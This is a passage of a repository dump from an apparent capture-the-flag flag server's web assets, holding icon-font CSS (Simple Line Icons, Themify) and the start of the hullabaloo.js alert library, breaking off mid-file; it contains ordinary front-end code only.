\"\\e05b\";\n}\n.icon-rocket:before {\n  content: \"\\e05c\";\n}\n.icon-question:before {\n  content: \"\\e05d\";\n}\n.icon-pie-chart:before {\n  content: \"\\e05e\";\n}\n.icon-pencil:before {\n  content: \"\\e05f\";\n}\n.icon-note:before {\n  content: \"\\e060\";\n}\n.icon-loop:before {\n  content: \"\\e064\";\n}\n.icon-home:before {\n  content: \"\\e069\";\n}\n.icon-grid:before {\n  content: \"\\e06a\";\n}\n.icon-graph:before {\n  content: \"\\e06b\";\n}\n.icon-microphone:before {\n  content: \"\\e063\";\n}\n.icon-music-tone-alt:before {\n  content: \"\\e061\";\n}\n.icon-music-tone:before {\n  content: \"\\e062\";\n}\n.icon-earphones-alt:before {\n  content: \"\\e03c\";\n}\n.icon-earphones:before {\n  content: \"\\e03d\";\n}\n.icon-equalizer:before {\n  content: \"\\e06c\";\n}\n.icon-like:before {\n  content: \"\\e068\";\n}\n.icon-dislike:before {\n  content: \"\\e06d\";\n}\n.icon-control-start:before {\n  content: \"\\e06f\";\n}\n.icon-control-rewind:before {\n  content: \"\\e070\";\n}\n.icon-control-play:before {\n  content: \"\\e071\";\n}\n.icon-control-pause:before {\n  content: \"\\e072\";\n}\n.icon-control-forward:before {\n  content: \"\\e073\";\n}\n.icon-control-end:before {\n  content: \"\\e074\";\n}\n.icon-volume-1:before {\n  content: \"\\e09f\";\n}\n.icon-volume-2:before {\n  content: \"\\e0a0\";\n}\n.icon-volume-off:before {\n  content: \"\\e0a1\";\n}\n.icon-calender:before {\n  content: \"\\e075\";\n}\n.icon-bulb:before {\n  content: \"\\e076\";\n}\n.icon-chart:before {\n  content: \"\\e077\";\n}\n.icon-ban:before {\n  content: \"\\e07c\";\n}\n.icon-bubble:before {\n  content: \"\\e07d\";\n}\n.icon-camrecorder:before {\n  content: \"\\e07e\";\n}\n.icon-camera:before {\n  content: \"\\e07f\";\n}\n.icon-cloud-download:before {\n  content: \"\\e083\";\n}\n.icon-cloud-upload:before {\n  content: \"\\e084\";\n}\n.icon-envelope:before {\n  content: \"\\e086\";\n}\n.icon-eye:before {\n  content: \"\\e087\";\n}\n.icon-flag:before {\n  content: \"\\e088\";\n}\n.icon-heart:before {\n  content: \"\\e08a\";\n}\n.icon-info:before {\n  content: \"\\e08b\";\n}\n.icon-key:before {\n  content: \"\\e08c\";\n}\n.icon-link:before {\n  content: \"\\e08d\";\n}\n.icon-lock:before {\n  content: \"\\e08e\";\n}\n.icon-lock-open:before {\n  content: \"\\e08f\";\n}\n.icon-magnifier:before {\n  content: \"\\e090\";\n}\n.icon-magnifier-add:before {\n  content: \"\\e091\";\n}\n.icon-magnifier-remove:before {\n  content: \"\\e092\";\n}\n.icon-paper-clip:before {\n  content: \"\\e093\";\n}\n.icon-paper-plane:before {\n  content: \"\\e094\";\n}\n.icon-power:before {\n  content: \"\\e097\";\n}\n.icon-refresh:before {\n  content: \"\\e098\";\n}\n.icon-reload:before {\n  content: \"\\e099\";\n}\n.icon-settings:before {\n  content: \"\\e09a\";\n}\n.icon-star:before {\n  content: \"\\e09b\";\n}\n.icon-symble-female:before {\n  content: \"\\e09c\";\n}\n.icon-symbol-male:before {\n  content: \"\\e09d\";\n}\n.icon-target:before {\n  content: \"\\e09e\";\n}\n.icon-credit-card:before {\n  content: \"\\e025\";\n}\n.icon-paypal:before {\n  content: \"\\e608\";\n}\n.icon-social-tumblr:before {\n  content: \"\\e00a\";\n}\n.icon-social-twitter:before {\n  content: \"\\e009\";\n}\n.icon-social-facebook:before {\n  content: \"\\e00b\";\n}\n.icon-social-instagram:before {\n  content: \"\\e609\";\n}\n.icon-social-linkedin:before {\n  content: \"\\e60a\";\n}\n.icon-social-pintarest:before {\n  content: \"\\e60b\";\n}\n.icon-social-github:before {\n  content: \"\\e60c\";\n}\n.icon-social-gplus:before {\n  content: \"\\e60d\";\n}\n.icon-social-reddit:before {\n  content: \"\\e60e\";\n}\n.icon-social-skype:before {\n  content: \"\\e60f\";\n}\n.icon-social-dribbble:before {\n  content: \"\\e00d\";\n}\n.icon-social-behance:before {\n  content: \"\\e610\";\n}\n.icon-social-foursqare:before {\n  content: \"\\e611\";\n}\n.icon-social-soundcloud:before {\n  content: \"\\e612\";\n}\n.icon-social-spotify:before {\n  content: \"\\e613\";\n}\n.icon-social-stumbleupon:before {\n  content: \"\\e614\";\n}\n.icon-social-youtube:before {\n  content: \"\\e008\";\n}\n.icon-social-dropbox:before {\n  content: \"\\e00c\";\n}\n"
  },
  {
    "path": "flag_server/webapps/static/icons/themify-icons/themify-icons.css",
    "content": "@font-face {\n\tfont-family: 'themify';\n\tsrc:url('fonts/themify9f24.eot?-fvbane');\n\tsrc:url('fonts/themifyd41d.eot?#iefix-fvbane') format('embedded-opentype'),\n\t\turl('fonts/themify.woff') format('woff'),\n\t\turl('fonts/themify.ttf') format('truetype'),\n\t\turl('fonts/themify9f24.svg?-fvbane#themify') format('svg');\n\tfont-weight: normal;\n\tfont-style: normal;\n}\n\n[class^=\"ti-\"], [class*=\" ti-\"] {\n\tfont-family: 'themify';\n\tspeak: none;\n\tfont-style: normal;\n\tfont-weight: normal;\n\tfont-variant: normal;\n\ttext-transform: none;\n\tline-height: 1;\n\n\t/* Better Font Rendering =========== */\n\t-webkit-font-smoothing: antialiased;\n\t-moz-osx-font-smoothing: grayscale;\n}\n\n.ti-wand:before {\n\tcontent: \"\\e600\";\n}\n.ti-volume:before {\n\tcontent: \"\\e601\";\n}\n.ti-user:before {\n\tcontent: \"\\e602\";\n}\n.ti-unlock:before {\n\tcontent: \"\\e603\";\n}\n.ti-unlink:before {\n\tcontent: \"\\e604\";\n}\n.ti-trash:before {\n\tcontent: \"\\e605\";\n}\n.ti-thought:before {\n\tcontent: \"\\e606\";\n}\n.ti-target:before {\n\tcontent: \"\\e607\";\n}\n.ti-tag:before {\n\tcontent: \"\\e608\";\n}\n.ti-tablet:before {\n\tcontent: \"\\e609\";\n}\n.ti-star:before {\n\tcontent: \"\\e60a\";\n}\n.ti-spray:before {\n\tcontent: \"\\e60b\";\n}\n.ti-signal:before {\n\tcontent: \"\\e60c\";\n}\n.ti-shopping-cart:before {\n\tcontent: \"\\e60d\";\n}\n.ti-shopping-cart-full:before {\n\tcontent: \"\\e60e\";\n}\n.ti-settings:before {\n\tcontent: \"\\e60f\";\n}\n.ti-search:before {\n\tcontent: \"\\e610\";\n}\n.ti-zoom-in:before {\n\tcontent: \"\\e611\";\n}\n.ti-zoom-out:before {\n\tcontent: \"\\e612\";\n}\n.ti-cut:before {\n\tcontent: \"\\e613\";\n}\n.ti-ruler:before {\n\tcontent: \"\\e614\";\n}\n.ti-ruler-pencil:before {\n\tcontent: \"\\e615\";\n}\n.ti-ruler-alt:before {\n\tcontent: \"\\e616\";\n}\n.ti-bookmark:before {\n\tcontent: \"\\e617\";\n}\n.ti-bookmark-alt:before {\n\tcontent: \"\\e618\";\n}\n.ti-reload:before {\n\tcontent: \"\\e619\";\n}\n.ti-plus:before {\n\tcontent: \"\\e61a\";\n}\n.ti-pin:before {\n\tcontent: \"\\e61b\";\n}\n.ti-pencil:before {\n\tcontent: \"\\e61c\";\n}\n.ti-pencil-alt:before {\n\tcontent: \"\\e61d\";\n}\n.ti-paint-roller:before {\n\tcontent: \"\\e61e\";\n}\n.ti-paint-bucket:before {\n\tcontent: \"\\e61f\";\n}\n.ti-na:before {\n\tcontent: \"\\e620\";\n}\n.ti-mobile:before {\n\tcontent: \"\\e621\";\n}\n.ti-minus:before {\n\tcontent: \"\\e622\";\n}\n.ti-medall:before {\n\tcontent: \"\\e623\";\n}\n.ti-medall-alt:before {\n\tcontent: \"\\e624\";\n}\n.ti-marker:before {\n\tcontent: \"\\e625\";\n}\n.ti-marker-alt:before {\n\tcontent: \"\\e626\";\n}\n.ti-arrow-up:before {\n\tcontent: \"\\e627\";\n}\n.ti-arrow-right:before {\n\tcontent: \"\\e628\";\n}\n.ti-arrow-left:before {\n\tcontent: \"\\e629\";\n}\n.ti-arrow-down:before {\n\tcontent: \"\\e62a\";\n}\n.ti-lock:before {\n\tcontent: \"\\e62b\";\n}\n.ti-location-arrow:before {\n\tcontent: \"\\e62c\";\n}\n.ti-link:before {\n\tcontent: \"\\e62d\";\n}\n.ti-layout:before {\n\tcontent: \"\\e62e\";\n}\n.ti-layers:before {\n\tcontent: \"\\e62f\";\n}\n.ti-layers-alt:before {\n\tcontent: \"\\e630\";\n}\n.ti-key:before {\n\tcontent: \"\\e631\";\n}\n.ti-import:before {\n\tcontent: \"\\e632\";\n}\n.ti-image:before {\n\tcontent: \"\\e633\";\n}\n.ti-heart:before {\n\tcontent: \"\\e634\";\n}\n.ti-heart-broken:before {\n\tcontent: \"\\e635\";\n}\n.ti-hand-stop:before {\n\tcontent: \"\\e636\";\n}\n.ti-hand-open:before {\n\tcontent: \"\\e637\";\n}\n.ti-hand-drag:before {\n\tcontent: \"\\e638\";\n}\n.ti-folder:before {\n\tcontent: \"\\e639\";\n}\n.ti-flag:before {\n\tcontent: \"\\e63a\";\n}\n.ti-flag-alt:before {\n\tcontent: \"\\e63b\";\n}\n.ti-flag-alt-2:before {\n\tcontent: \"\\e63c\";\n}\n.ti-eye:before {\n\tcontent: \"\\e63d\";\n}\n.ti-export:before {\n\tcontent: \"\\e63e\";\n}\n.ti-exchange-vertical:before {\n\tcontent: \"\\e63f\";\n}\n.ti-desktop:before {\n\tcontent: \"\\e640\";\n}\n.ti-cup:before {\n\tcontent: \"\\e641\";\n}\n.ti-crown:before {\n\tcontent: \"\\e642\";\n}\n.ti-comments:before {\n\tcontent: \"\\e643\";\n}\n.ti-comment:before {\n\tcontent: \"\\e644\";\n}\n.ti-comment-alt:before {\n\tcontent: \"\\e645\";\n}\n.ti-close:before {\n\tcontent: \"\\e646\";\n}\n.ti-clip:before {\n\tcontent: \"\\e647\";\n}\n.ti-angle-up:before {\n\tcontent: \"\\e648\";\n}\n.ti-angle-right:before {\n\tcontent: \"\\e649\";\n}\n.ti-angle-left:before {\n\tcontent: \"\\e64a\";\n}\n.ti-angle-down:before {\n\tcontent: \"\\e64b\";\n}\n.ti-check:before {\n\tcontent: \"\\e64c\";\n}\n.ti-check-box:before {\n\tcontent: \"\\e64d\";\n}\n.ti-camera:before {\n\tcontent: \"\\e64e\";\n}\n.ti-announcement:before {\n\tcontent: \"\\e64f\";\n}\n.ti-brush:before {\n\tcontent: \"\\e650\";\n}\n.ti-briefcase:before {\n\tcontent: \"\\e651\";\n}\n.ti-bolt:before {\n\tcontent: \"\\e652\";\n}\n.ti-bolt-alt:before {\n\tcontent: \"\\e653\";\n}\n.ti-blackboard:before {\n\tcontent: \"\\e654\";\n}\n.ti-bag:before {\n\tcontent: \"\\e655\";\n}\n.ti-move:before {\n\tcontent: \"\\e656\";\n}\n.ti-arrows-vertical:before {\n\tcontent: \"\\e657\";\n}\n.ti-arrows-horizontal:before {\n\tcontent: \"\\e658\";\n}\n.ti-fullscreen:before {\n\tcontent: \"\\e659\";\n}\n.ti-arrow-top-right:before {\n\tcontent: \"\\e65a\";\n}\n.ti-arrow-top-left:before {\n\tcontent: \"\\e65b\";\n}\n.ti-arrow-circle-up:before {\n\tcontent: \"\\e65c\";\n}\n.ti-arrow-circle-right:before {\n\tcontent: \"\\e65d\";\n}\n.ti-arrow-circle-left:before {\n\tcontent: \"\\e65e\";\n}\n.ti-arrow-circle-down:before {\n\tcontent: \"\\e65f\";\n}\n.ti-angle-double-up:before {\n\tcontent: \"\\e660\";\n}\n.ti-angle-double-right:before {\n\tcontent: \"\\e661\";\n}\n.ti-angle-double-left:before {\n\tcontent: \"\\e662\";\n}\n.ti-angle-double-down:before {\n\tcontent: \"\\e663\";\n}\n.ti-zip:before {\n\tcontent: \"\\e664\";\n}\n.ti-world:before {\n\tcontent: \"\\e665\";\n}\n.ti-wheelchair:before {\n\tcontent: \"\\e666\";\n}\n.ti-view-list:before {\n\tcontent: \"\\e667\";\n}\n.ti-view-list-alt:before {\n\tcontent: \"\\e668\";\n}\n.ti-view-grid:before {\n\tcontent: \"\\e669\";\n}\n.ti-uppercase:before {\n\tcontent: \"\\e66a\";\n}\n.ti-upload:before {\n\tcontent: \"\\e66b\";\n}\n.ti-underline:before {\n\tcontent: \"\\e66c\";\n}\n.ti-truck:before {\n\tcontent: \"\\e66d\";\n}\n.ti-timer:before {\n\tcontent: \"\\e66e\";\n}\n.ti-ticket:before {\n\tcontent: \"\\e66f\";\n}\n.ti-thumb-up:before {\n\tcontent: \"\\e670\";\n}\n.ti-thumb-down:before {\n\tcontent: \"\\e671\";\n}\n.ti-text:before {\n\tcontent: \"\\e672\";\n}\n.ti-stats-up:before {\n\tcontent: \"\\e673\";\n}\n.ti-stats-down:before {\n\tcontent: \"\\e674\";\n}\n.ti-split-v:before {\n\tcontent: \"\\e675\";\n}\n.ti-split-h:before {\n\tcontent: \"\\e676\";\n}\n.ti-smallcap:before {\n\tcontent: \"\\e677\";\n}\n.ti-shine:before {\n\tcontent: \"\\e678\";\n}\n.ti-shift-right:before {\n\tcontent: \"\\e679\";\n}\n.ti-shift-left:before {\n\tcontent: \"\\e67a\";\n}\n.ti-shield:before {\n\tcontent: \"\\e67b\";\n}\n.ti-notepad:before {\n\tcontent: \"\\e67c\";\n}\n.ti-server:before {\n\tcontent: \"\\e67d\";\n}\n.ti-quote-right:before {\n\tcontent: \"\\e67e\";\n}\n.ti-quote-left:before {\n\tcontent: \"\\e67f\";\n}\n.ti-pulse:before {\n\tcontent: \"\\e680\";\n}\n.ti-printer:before {\n\tcontent: \"\\e681\";\n}\n.ti-power-off:before {\n\tcontent: \"\\e682\";\n}\n.ti-plug:before {\n\tcontent: \"\\e683\";\n}\n.ti-pie-chart:before {\n\tcontent: \"\\e684\";\n}\n.ti-paragraph:before {\n\tcontent: \"\\e685\";\n}\n.ti-panel:before {\n\tcontent: \"\\e686\";\n}\n.ti-package:before {\n\tcontent: \"\\e687\";\n}\n.ti-music:before {\n\tcontent: \"\\e688\";\n}\n.ti-music-alt:before {\n\tcontent: \"\\e689\";\n}\n.ti-mouse:before {\n\tcontent: \"\\e68a\";\n}\n.ti-mouse-alt:before {\n\tcontent: \"\\e68b\";\n}\n.ti-money:before {\n\tcontent: \"\\e68c\";\n}\n.ti-microphone:before {\n\tcontent: \"\\e68d\";\n}\n.ti-menu:before {\n\tcontent: \"\\e68e\";\n}\n.ti-menu-alt:before {\n\tcontent: \"\\e68f\";\n}\n.ti-map:before {\n\tcontent: \"\\e690\";\n}\n.ti-map-alt:before {\n\tcontent: \"\\e691\";\n}\n.ti-loop:before {\n\tcontent: \"\\e692\";\n}\n.ti-location-pin:before {\n\tcontent: \"\\e693\";\n}\n.ti-list:before {\n\tcontent: \"\\e694\";\n}\n.ti-light-bulb:before {\n\tcontent: \"\\e695\";\n}\n.ti-Italic:before {\n\tcontent: \"\\e696\";\n}\n.ti-info:before {\n\tcontent: \"\\e697\";\n}\n.ti-infinite:before {\n\tcontent: \"\\e698\";\n}\n.ti-id-badge:before {\n\tcontent: \"\\e699\";\n}\n.ti-hummer:before {\n\tcontent: \"\\e69a\";\n}\n.ti-home:before {\n\tcontent: \"\\e69b\";\n}\n.ti-help:before {\n\tcontent: \"\\e69c\";\n}\n.ti-headphone:before {\n\tcontent: \"\\e69d\";\n}\n.ti-harddrives:before {\n\tcontent: \"\\e69e\";\n}\n.ti-harddrive:before {\n\tcontent: \"\\e69f\";\n}\n.ti-gift:before {\n\tcontent: \"\\e6a0\";\n}\n.ti-game:before {\n\tcontent: \"\\e6a1\";\n}\n.ti-filter:before {\n\tcontent: \"\\e6a2\";\n}\n.ti-files:before {\n\tcontent: \"\\e6a3\";\n}\n.ti-file:before {\n\tcontent: \"\\e6a4\";\n}\n.ti-eraser:before {\n\tcontent: \"\\e6a5\";\n}\n.ti-envelope:before {\n\tcontent: \"\\e6a6\";\n}\n.ti-download:before {\n\tcontent: \"\\e6a7\";\n}\n.ti-direction:before {\n\tcontent: \"\\e6a8\";\n}\n.ti-direction-alt:before {\n\tcontent: \"\\e6a9\";\n}\n.ti-dashboard:before {\n\tcontent: \"\\e6aa\";\n}\n.ti-control-stop:before {\n\tcontent: \"\\e6ab\";\n}\n.ti-control-shuffle:before {\n\tcontent: \"\\e6ac\";\n}\n.ti-control-play:before {\n\tcontent: \"\\e6ad\";\n}\n.ti-control-pause:before {\n\tcontent: \"\\e6ae\";\n}\n.ti-control-forward:before {\n\tcontent: \"\\e6af\";\n}\n.ti-control-backward:before {\n\tcontent: \"\\e6b0\";\n}\n.ti-cloud:before {\n\tcontent: \"\\e6b1\";\n}\n.ti-cloud-up:before {\n\tcontent: \"\\e6b2\";\n}\n.ti-cloud-down:before {\n\tcontent: \"\\e6b3\";\n}\n.ti-clipboard:before {\n\tcontent: \"\\e6b4\";\n}\n.ti-car:before {\n\tcontent: \"\\e6b5\";\n}\n.ti-calendar:before {\n\tcontent: \"\\e6b6\";\n}\n.ti-book:before {\n\tcontent: \"\\e6b7\";\n}\n.ti-bell:before {\n\tcontent: \"\\e6b8\";\n}\n.ti-basketball:before {\n\tcontent: \"\\e6b9\";\n}\n.ti-bar-chart:before {\n\tcontent: \"\\e6ba\";\n}\n.ti-bar-chart-alt:before {\n\tcontent: \"\\e6bb\";\n}\n.ti-back-right:before {\n\tcontent: \"\\e6bc\";\n}\n.ti-back-left:before {\n\tcontent: \"\\e6bd\";\n}\n.ti-arrows-corner:before {\n\tcontent: \"\\e6be\";\n}\n.ti-archive:before {\n\tcontent: \"\\e6bf\";\n}\n.ti-anchor:before {\n\tcontent: \"\\e6c0\";\n}\n.ti-align-right:before {\n\tcontent: \"\\e6c1\";\n}\n.ti-align-left:before {\n\tcontent: \"\\e6c2\";\n}\n.ti-align-justify:before {\n\tcontent: \"\\e6c3\";\n}\n.ti-align-center:before {\n\tcontent: \"\\e6c4\";\n}\n.ti-alert:before {\n\tcontent: \"\\e6c5\";\n}\n.ti-alarm-clock:before {\n\tcontent: \"\\e6c6\";\n}\n.ti-agenda:before {\n\tcontent: \"\\e6c7\";\n}\n.ti-write:before {\n\tcontent: \"\\e6c8\";\n}\n.ti-window:before {\n\tcontent: \"\\e6c9\";\n}\n.ti-widgetized:before {\n\tcontent: \"\\e6ca\";\n}\n.ti-widget:before {\n\tcontent: \"\\e6cb\";\n}\n.ti-widget-alt:before {\n\tcontent: \"\\e6cc\";\n}\n.ti-wallet:before {\n\tcontent: \"\\e6cd\";\n}\n.ti-video-clapper:before {\n\tcontent: \"\\e6ce\";\n}\n.ti-video-camera:before {\n\tcontent: \"\\e6cf\";\n}\n.ti-vector:before {\n\tcontent: \"\\e6d0\";\n}\n.ti-themify-logo:before {\n\tcontent: \"\\e6d1\";\n}\n.ti-themify-favicon:before {\n\tcontent: \"\\e6d2\";\n}\n.ti-themify-favicon-alt:before {\n\tcontent: \"\\e6d3\";\n}\n.ti-support:before {\n\tcontent: \"\\e6d4\";\n}\n.ti-stamp:before {\n\tcontent: \"\\e6d5\";\n}\n.ti-split-v-alt:before {\n\tcontent: \"\\e6d6\";\n}\n.ti-slice:before {\n\tcontent: \"\\e6d7\";\n}\n.ti-shortcode:before {\n\tcontent: \"\\e6d8\";\n}\n.ti-shift-right-alt:before {\n\tcontent: \"\\e6d9\";\n}\n.ti-shift-left-alt:before {\n\tcontent: \"\\e6da\";\n}\n.ti-ruler-alt-2:before {\n\tcontent: \"\\e6db\";\n}\n.ti-receipt:before {\n\tcontent: \"\\e6dc\";\n}\n.ti-pin2:before {\n\tcontent: \"\\e6dd\";\n}\n.ti-pin-alt:before {\n\tcontent: \"\\e6de\";\n}\n.ti-pencil-alt2:before {\n\tcontent: \"\\e6df\";\n}\n.ti-palette:before {\n\tcontent: \"\\e6e0\";\n}\n.ti-more:before {\n\tcontent: \"\\e6e1\";\n}\n.ti-more-alt:before {\n\tcontent: \"\\e6e2\";\n}\n.ti-microphone-alt:before {\n\tcontent: \"\\e6e3\";\n}\n.ti-magnet:before {\n\tcontent: \"\\e6e4\";\n}\n.ti-line-double:before {\n\tcontent: \"\\e6e5\";\n}\n.ti-line-dotted:before {\n\tcontent: \"\\e6e6\";\n}\n.ti-line-dashed:before {\n\tcontent: \"\\e6e7\";\n}\n.ti-layout-width-full:before {\n\tcontent: \"\\e6e8\";\n}\n.ti-layout-width-default:before {\n\tcontent: \"\\e6e9\";\n}\n.ti-layout-width-default-alt:before {\n\tcontent: \"\\e6ea\";\n}\n.ti-layout-tab:before {\n\tcontent: \"\\e6eb\";\n}\n.ti-layout-tab-window:before {\n\tcontent: \"\\e6ec\";\n}\n.ti-layout-tab-v:before {\n\tcontent: \"\\e6ed\";\n}\n.ti-layout-tab-min:before {\n\tcontent: \"\\e6ee\";\n}\n.ti-layout-slider:before {\n\tcontent: \"\\e6ef\";\n}\n.ti-layout-slider-alt:before {\n\tcontent: \"\\e6f0\";\n}\n.ti-layout-sidebar-right:before {\n\tcontent: \"\\e6f1\";\n}\n.ti-layout-sidebar-none:before {\n\tcontent: \"\\e6f2\";\n}\n.ti-layout-sidebar-left:before {\n\tcontent: \"\\e6f3\";\n}\n.ti-layout-placeholder:before {\n\tcontent: \"\\e6f4\";\n}\n.ti-layout-menu:before {\n\tcontent: \"\\e6f5\";\n}\n.ti-layout-menu-v:before {\n\tcontent: \"\\e6f6\";\n}\n.ti-layout-menu-separated:before {\n\tcontent: \"\\e6f7\";\n}\n.ti-layout-menu-full:before {\n\tcontent: \"\\e6f8\";\n}\n.ti-layout-media-right-alt:before {\n\tcontent: \"\\e6f9\";\n}\n.ti-layout-media-right:before {\n\tcontent: \"\\e6fa\";\n}\n.ti-layout-media-overlay:before {\n\tcontent: \"\\e6fb\";\n}\n.ti-layout-media-overlay-alt:before {\n\tcontent: \"\\e6fc\";\n}\n.ti-layout-media-overlay-alt-2:before {\n\tcontent: \"\\e6fd\";\n}\n.ti-layout-media-left-alt:before {\n\tcontent: \"\\e6fe\";\n}\n.ti-layout-media-left:before {\n\tcontent: \"\\e6ff\";\n}\n.ti-layout-media-center-alt:before {\n\tcontent: \"\\e700\";\n}\n.ti-layout-media-center:before {\n\tcontent: \"\\e701\";\n}\n.ti-layout-list-thumb:before {\n\tcontent: \"\\e702\";\n}\n.ti-layout-list-thumb-alt:before {\n\tcontent: \"\\e703\";\n}\n.ti-layout-list-post:before {\n\tcontent: \"\\e704\";\n}\n.ti-layout-list-large-image:before {\n\tcontent: \"\\e705\";\n}\n.ti-layout-line-solid:before {\n\tcontent: \"\\e706\";\n}\n.ti-layout-grid4:before {\n\tcontent: \"\\e707\";\n}\n.ti-layout-grid3:before {\n\tcontent: \"\\e708\";\n}\n.ti-layout-grid2:before {\n\tcontent: \"\\e709\";\n}\n.ti-layout-grid2-thumb:before {\n\tcontent: \"\\e70a\";\n}\n.ti-layout-cta-right:before {\n\tcontent: \"\\e70b\";\n}\n.ti-layout-cta-left:before {\n\tcontent: \"\\e70c\";\n}\n.ti-layout-cta-center:before {\n\tcontent: \"\\e70d\";\n}\n.ti-layout-cta-btn-right:before {\n\tcontent: \"\\e70e\";\n}\n.ti-layout-cta-btn-left:before {\n\tcontent: \"\\e70f\";\n}\n.ti-layout-column4:before {\n\tcontent: \"\\e710\";\n}\n.ti-layout-column3:before {\n\tcontent: \"\\e711\";\n}\n.ti-layout-column2:before {\n\tcontent: \"\\e712\";\n}\n.ti-layout-accordion-separated:before {\n\tcontent: \"\\e713\";\n}\n.ti-layout-accordion-merged:before {\n\tcontent: \"\\e714\";\n}\n.ti-layout-accordion-list:before {\n\tcontent: \"\\e715\";\n}\n.ti-ink-pen:before {\n\tcontent: \"\\e716\";\n}\n.ti-info-alt:before {\n\tcontent: \"\\e717\";\n}\n.ti-help-alt:before {\n\tcontent: \"\\e718\";\n}\n.ti-headphone-alt:before {\n\tcontent: \"\\e719\";\n}\n.ti-hand-point-up:before {\n\tcontent: \"\\e71a\";\n}\n.ti-hand-point-right:before {\n\tcontent: \"\\e71b\";\n}\n.ti-hand-point-left:before {\n\tcontent: \"\\e71c\";\n}\n.ti-hand-point-down:before {\n\tcontent: \"\\e71d\";\n}\n.ti-gallery:before {\n\tcontent: \"\\e71e\";\n}\n.ti-face-smile:before {\n\tcontent: \"\\e71f\";\n}\n.ti-face-sad:before {\n\tcontent: \"\\e720\";\n}\n.ti-credit-card:before {\n\tcontent: \"\\e721\";\n}\n.ti-control-skip-forward:before {\n\tcontent: \"\\e722\";\n}\n.ti-control-skip-backward:before {\n\tcontent: \"\\e723\";\n}\n.ti-control-record:before {\n\tcontent: \"\\e724\";\n}\n.ti-control-eject:before {\n\tcontent: \"\\e725\";\n}\n.ti-comments-smiley:before {\n\tcontent: \"\\e726\";\n}\n.ti-brush-alt:before {\n\tcontent: \"\\e727\";\n}\n.ti-youtube:before {\n\tcontent: \"\\e728\";\n}\n.ti-vimeo:before {\n\tcontent: \"\\e729\";\n}\n.ti-twitter:before {\n\tcontent: \"\\e72a\";\n}\n.ti-time:before {\n\tcontent: \"\\e72b\";\n}\n.ti-tumblr:before {\n\tcontent: \"\\e72c\";\n}\n.ti-skype:before {\n\tcontent: \"\\e72d\";\n}\n.ti-share:before {\n\tcontent: \"\\e72e\";\n}\n.ti-share-alt:before {\n\tcontent: \"\\e72f\";\n}\n.ti-rocket:before {\n\tcontent: \"\\e730\";\n}\n.ti-pinterest:before {\n\tcontent: \"\\e731\";\n}\n.ti-new-window:before {\n\tcontent: \"\\e732\";\n}\n.ti-microsoft:before {\n\tcontent: \"\\e733\";\n}\n.ti-list-ol:before {\n\tcontent: \"\\e734\";\n}\n.ti-linkedin:before {\n\tcontent: \"\\e735\";\n}\n.ti-layout-sidebar-2:before {\n\tcontent: \"\\e736\";\n}\n.ti-layout-grid4-alt:before {\n\tcontent: \"\\e737\";\n}\n.ti-layout-grid3-alt:before {\n\tcontent: \"\\e738\";\n}\n.ti-layout-grid2-alt:before {\n\tcontent: \"\\e739\";\n}\n.ti-layout-column4-alt:before {\n\tcontent: \"\\e73a\";\n}\n.ti-layout-column3-alt:before {\n\tcontent: \"\\e73b\";\n}\n.ti-layout-column2-alt:before {\n\tcontent: \"\\e73c\";\n}\n.ti-instagram:before {\n\tcontent: \"\\e73d\";\n}\n.ti-google:before {\n\tcontent: \"\\e73e\";\n}\n.ti-github:before {\n\tcontent: \"\\e73f\";\n}\n.ti-flickr:before {\n\tcontent: \"\\e740\";\n}\n.ti-facebook:before {\n\tcontent: \"\\e741\";\n}\n.ti-dropbox:before {\n\tcontent: \"\\e742\";\n}\n.ti-dribbble:before {\n\tcontent: \"\\e743\";\n}\n.ti-apple:before {\n\tcontent: \"\\e744\";\n}\n.ti-android:before {\n\tcontent: \"\\e745\";\n}\n.ti-save:before {\n\tcontent: \"\\e746\";\n}\n.ti-save-alt:before {\n\tcontent: \"\\e747\";\n}\n.ti-yahoo:before {\n\tcontent: \"\\e748\";\n}\n.ti-wordpress:before {\n\tcontent: \"\\e749\";\n}\n.ti-vimeo-alt:before {\n\tcontent: \"\\e74a\";\n}\n.ti-twitter-alt:before {\n\tcontent: \"\\e74b\";\n}\n.ti-tumblr-alt:before {\n\tcontent: \"\\e74c\";\n}\n.ti-trello:before {\n\tcontent: \"\\e74d\";\n}\n.ti-stack-overflow:before {\n\tcontent: \"\\e74e\";\n}\n.ti-soundcloud:before {\n\tcontent: \"\\e74f\";\n}\n.ti-sharethis:before {\n\tcontent: \"\\e750\";\n}\n.ti-sharethis-alt:before {\n\tcontent: \"\\e751\";\n}\n.ti-reddit:before {\n\tcontent: \"\\e752\";\n}\n.ti-pinterest-alt:before {\n\tcontent: \"\\e753\";\n}\n.ti-microsoft-alt:before {\n\tcontent: \"\\e754\";\n}\n.ti-linux:before {\n\tcontent: \"\\e755\";\n}\n.ti-jsfiddle:before {\n\tcontent: \"\\e756\";\n}\n.ti-joomla:before {\n\tcontent: \"\\e757\";\n}\n.ti-html5:before {\n\tcontent: \"\\e758\";\n}\n.ti-flickr-alt:before {\n\tcontent: \"\\e759\";\n}\n.ti-email:before {\n\tcontent: \"\\e75a\";\n}\n.ti-drupal:before {\n\tcontent: \"\\e75b\";\n}\n.ti-dropbox-alt:before {\n\tcontent: \"\\e75c\";\n}\n.ti-css3:before {\n\tcontent: \"\\e75d\";\n}\n.ti-rss:before {\n\tcontent: \"\\e75e\";\n}\n.ti-rss-alt:before {\n\tcontent: \"\\e75f\";\n}\n"
  },
  {
    "path": "flag_server/webapps/static/js/hullabaloo.js",
    "content": "/**\n * hullabaloo v 0.3\n *\n */\n(function(root, factory) {\n  if (typeof define === 'function' && define.amd) {\n    define(['buoy'], factory(root));\n  } else if (typeof exports === 'object') {\n    module.exports = factory(require('buoy'));\n  } else {\n    root.hullabaloo = factory(root, root.buoy);\n  }\n})(typeof global !== 'undefined' ? global : this.window || this.global, function(root) {\n  var init = function(root) {\n\n    var hullabaloo = function() {\n      // Объект создаваемый сейчас.\n      // генерируется в this.generate()\n      this.hullabaloo = {};\n\n      // Массив с объектами активных алертов\n      this.hullabaloos = [];\n\n      this.success = false;\n\n      // Дополнительные настройки дял алерта\n      this.options = {\n        ele: \"body\",\n        offset: {\n          from: \"top\",\n          amount: 20\n        },\n        align: \"right\",\n        width: 250,\n        delay: 5000,\n        allow_dismiss: true,\n        stackup_spacing: 10,\n        text: \"Произошла неизвестная ошибка.\",\n        icon: {\n          success: \"fa fa-check-circle\",\n          info: \"fa fa-info-circle\",\n          warning: \"fa fa-life-ring\",\n          danger: \"fa fa-exclamation-circle\",\n          light: \"fa fa-sun\",\n          dark: \"fa fa-moon\"\n        },\n        status: \"danger\",\n        alertClass: \"\", // Дополнительные класс для блока алерта\n        fnStart: false, // Ф-ия будет выполняться при старте\n        fnEnd: 